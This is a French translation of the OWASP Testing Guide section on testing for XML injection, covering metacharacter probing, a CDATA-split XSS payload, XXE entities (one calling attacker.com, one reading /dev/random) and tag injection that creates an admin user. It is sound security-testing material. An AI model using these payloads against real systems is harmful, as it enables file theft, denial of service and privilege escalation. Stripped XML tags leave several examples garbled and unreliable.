4.8.8 Tester les injections XML (OTG-INPVAL-008)

Sommaire
Les tests d'injection XML consistent à essayer d'injecter un document XML dans l'application. Si l'analyseur XML ne valide pas correctement les données, ce test sera positif.

Cettee setion présente des exemples pratiques d'injections XML. Tout d'abord, nous allons définir un style de communication XML et en expliquer les principes de fonctionnement. Puis nous allons présenter la méthode de découverte pour injecter des méta-caractères XML. Après cette première étape, le testeur aura quelques informations sur la structure XML, et pourra donc essayer d'injecter des données et balises XML (injection de balises).

Comment tester
Supposons qu'une application web utilise une communication de type XML pour procéder à l'enregistrement d'utilisateurs. Cela se fait en créant et ajoutant un nouveau noeud dans un fichier xmlDb.

Supposons que ce fichier xmlDB ressemble à ce qui suit :

'''  gandalf !c3 0 		 gandalf@middleearth.com Stefan0 w1s3c 500 		 Stefan0@whysec.hmm '''

Lorsqu'un utilisateur s'inscrit lui-même en renseignant un formulaire HTML, l'application reçoit les entrées de l'utilisateur dans une requête standard. Pour des raisons de simplicité, supposons que cette requête est en GET.

Par exemple, les valeurs suivantes :

Username: tony Password: Un6R34kb!e E-mail: s4tan@hell.com

vont produire la requête :

http://www.example.com/addUser.php?username=tony&password=Un6R34kb!e&email=s4tan@hell.com

L'application construit ensuite le noeud suivant :

''' 	 tony Un6R34kb!e 500 	 s4tan@hell.com '''

qui va être ajouté au fichier xmlDb :

'''  gandalf !c3 0 		 gandalf@middleearth.com Stefan0 w1s3c 500 		 Stefan0@whysec.hmm tony Un6R34kb!e 500 		 s4tan@hell.com '''

Découverte
La première étape pour tester la présence de vulnérabilités d'injections XML dans une application consiste à essayer d'insérer des méta-caractères XML.

Les méta-caractères XML sont : Par exemple, supposons l'attribut suivant :
 * Simple quote : '  - Quand il n'est pas nettoyé, ce caractère peut déclencher une exception pendant l'analyse XML, si la valeur injectée est destinée à faire partie d'une valeur d'attribut d'une balise.



Donc si:

inputValue = foo'

est instantié et ensuite inséré dans la valeur d'attrib :

  

alors, le document XML résultant ne sera pas bien formé.


 * Double quote : " - ce caractère a la même signification que la simple quote et peut être utilisé si l'attribut est entouré de doubles quotes.

  

Donc si : $inputValue = foo"

la substitution donne:

 

ce qui résulte en un document XML invalide.


 * Chevrons : > and < - En ajoutant un chevron ouvrant ou fermant dans une entrée utilisateur comme suit :

Username = foo<

l'application va construire le nouveau noeud :

'''     foo< Un6R34kb!e 500     s4tan@hell.com '''

mais du fait de la présence du chevron ouvrant '<', le document XML résultant est invalide.


 * Balise de commentaire:  -  Cette séquence de caractères est interprêtée comme le début ou la fin d'un commentaire. Donc en injectant l'une d'elle dans le paramètre Username :

 Username = foo<!-- 

l'application va construire le noeud suivant :

'''    foo<!-- Un6R34kb!e 500    s4tan@hell.com '''

qui ne sera pas une séquence XML valide.


 * esperluette : &amp; -  L'esperluette est utilisée dans la syntaxe XML pour représenter les entités. Le format d'une entité est '&amp;symbole;'. Une entité est mise en correspondance avec un caractère Unicode.

Par exemple :

 &amp;lt; 

est bien formé et valide, et représente le caractère ASCII '<'.

Si '&amp;' n'est pas lui-même encodé avec &amp;amp;, il peut être utilisé pour tester une injection XML.

Dans les faits, si une telle entrée est fournie :

Username = &amp;foo

un nouveau noeud va être créé :

''' &foo Un6R34kb!e 500 s4tan@hell.com '''

Mais une fois de plus, le document n'est pas valide : &amp;foo n'est pas terminé par ';' l'entité &foo; est indéfinie.


 * Les délimiteurs de section CDATA : <![CDATA[ / ]]> - Les sections CDATA sont utilisées pour échapper des blocks de texte contenant des caractères qui autrement seraient reconnus comme des balises. En d'autres mots, les caractères d'une section CDATA ne sont pas analysés par l'analyseur XML.

Par exemple, nous avons besoin de représenter la chaîne ' ' dans un noeud texte, une section CDATA peut être utilisée :

'''    <![CDATA[ ]]> '''

de telle manière ' ' ne sera pas analysé comme une balise et sera considérée comme des données caractères.

Si un noeud est construit de la manière suivante :

 <![CDATA[<$userName]]> 

le testeur peut essayer d'injecter une chaîne de fin de CDATA ']]>' afin de rendre le document XML invalide.

userName = ]]>

qui va devenir :

 <![CDATA[]]>]]> 

qui n'est pas un fragment XML valide.

Un autre test peut être fait sur les balises CDATA. Supposons que le codument XML est traité pour générer une page HTML. Dans ce cas, les délimiteurs de section CDATA pourraient être simplement supprimés sans autre inspection de leur contenu. Ainsi, il est possible d'injecter les balises HTML qui seront incluses dans la page générée, contournant complétement les routines de validation.

Voyons un exemple concret. Supposons que nous ayons un noeud contenant du texte qui sera affiché :

''' $HTMLCode '''

Alors un attaquant peut fournir l'entrée suivante :

 $HTMLCode = <![CDATA[<]]>script<![CDATA[>]]>alert('xss')<![CDATA[<]]>/script<![CDATA[>]]> 

et obtenir le noeud suivant :

'''  <![CDATA[<]]>script<![CDATA[>]]>alert('xss')<![CDATA[<]]>/script<![CDATA[>]]> '''

Pendant le traitement, les délimiteurs de la section CDATA sont supprimés, pour générer le code HTML suivant :

 alert('XSS') 

Le résultat est que l'application est vulnérable aux XSS.

Entités externes : L'ensemble des entités valides peut être étendu en définissant de nouvelles entités. Si la définition d'une entité est une URI, c'est une entité dite externe. Si l'analyseur n'est pas configuré autrement, les entités externes le forcent à accéder à la ressource spécifiée par l'URI (fichier local ou distant). Ce comportement expose l'application aux attaques XXE (attaques XML eXternal Entity), qui peuvent être utilisées pour causer des dénis de service sur le système local, pour obtenir un accès non-autorisé à des fichiers sur la machine locale, pour scanner des machines distantes, et pour causer des dénis de service sur des systèmes distants.

Pour tester les vulnérabilités XXE, on peut utiliser l'entrée suivante :

'''  <!DOCTYPE foo > &xxe; '''

Ce test va faire planter le serveur web (sur un système UNIX), si l'analyseur XML tente de substituer l'entité avec le contenu du fichier /dev/random.

D'autres tests utiles :

'''  <!DOCTYPE foo > &xxe;

 <!DOCTYPE foo > &xxe;

 <!DOCTYPE foo > &xxe;

 <!DOCTYPE foo [ <!ELEMENT foo ANY > <!ENTITY xxe SYSTEM "http://www.attacker.com/text.txt" >]> &xxe; '''

Injections de balises
Une fois que la première étape est accomplie, le testeur possède quelques informations sur la structure du document XML. Il va ensuite pouvoir essayer d'injecter des données et balises XML. L'exemple suivant décrit une attaque d'escalade de privilèges.

Considérons l'application vue précédemment. En insérant les valeurs suivantes :

Username: tony Password: Un6R34kb!e E-mail: s4tan@hell.com 0  s4tan@hell.com

l'application va construire un nouveau noeud et l'ajouter à la base de données XML :

'''  gandalf !c3 0 		 gandalf@middleearth.com Stefan0 w1s3c 500 		 Stefan0@whysec.hmm tony Un6R34kb!e 500 		 s4tan@hell.com 0  s4tan@hell.com '''

Le fichier XML résultant est bien formé. De plus, il est probable que, pour l'utilisateur tony, la valeur associée à la balise userid soit celle qui apparît en dernier, c'est-à-dire 0 (l'ID de l'administrateur). En d'autres mots, nous avons injecté un utilisateur avec les privilèges d'administration.

Le seul problème est que la balise userid apparaît deux fois dans le dernier noeud utilisateur. Souvent les documents XML sont associés à un schéma ou un DTD et sont rejetés s'ils ne les respectent pas.

Supposons que le document XML soit spécifié par le DTD suivant :

''' <!DOCTYPE users [ <!ELEMENT users (user+) > <!ELEMENT user (username,password,userid,mail+) > <!ELEMENT username (#PCDATA) > <!ELEMENT password (#PCDATA) > <!ELEMENT userid (#PCDATA) > <!ELEMENT mail (#PCDATA) > ]> '''

Remarquons que le noeud userid est défini avec une cardinalité de 1. Dans ce cas, l'attaque précédente (et d'autres attaques simples) ne fonctionnera pas si le document XML est validé avec son DTD avant que le traitement ait lieu.

Cependant ce problème peut être résolu si le testeur contrôle la valeur des quelques noeuds précédents l'intru (userid dans cet exemple). En fait, le testeur peut commenter un tel noeud, en injectant une séquenc de debut/fin de commentaire :

Username: tony  Password: Un6R34kb!e 0  s4tan@hell.com 

Dans ce cas, la base XML finale sera :

'''  gandalf !c3 0 		 gandalf@middleearth.com Stefan0 w1s3c 500 		 Stefan0@whysec.hmm tony Un6R34kb!e 0  s4tan@hell.com '''

Le noeud userid d'origine a été mis en commentaire, ne laissant que le noeud injecté. Ce document respecte maintenant les règles de son DTD.

Outils

 * XML Injection Fuzz Strings (from wfuzz tool) - https://wfuzz.googlecode.com/svn/trunk/wordlist/Injections/XML.txt

Références
Whitepapers
 * [1] Alex Stamos: "Attacking Web Services" - http://www.owasp.org/images/d/d1/AppSec2005DC-Alex_Stamos-Attacking_Web_Services.ppt
 * Gregory Steuck, "XXE (Xml eXternal Entity) attack", http://www.securityfocus.com/archive/1/297714